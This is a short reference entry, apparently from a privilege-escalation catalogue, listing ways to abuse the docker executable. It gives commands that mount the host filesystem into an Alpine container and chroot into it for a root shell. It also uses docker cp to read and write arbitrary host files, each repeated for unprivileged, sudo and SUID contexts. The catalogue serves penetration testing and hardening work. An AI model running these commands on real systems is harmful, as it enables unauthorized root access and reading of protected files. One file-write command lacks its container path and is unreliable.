This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
This executable can write data to local files.
This function can be performed by any unprivileged user.
echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
This executable can read data from local files.
This function can be performed by any unprivileged user.
docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file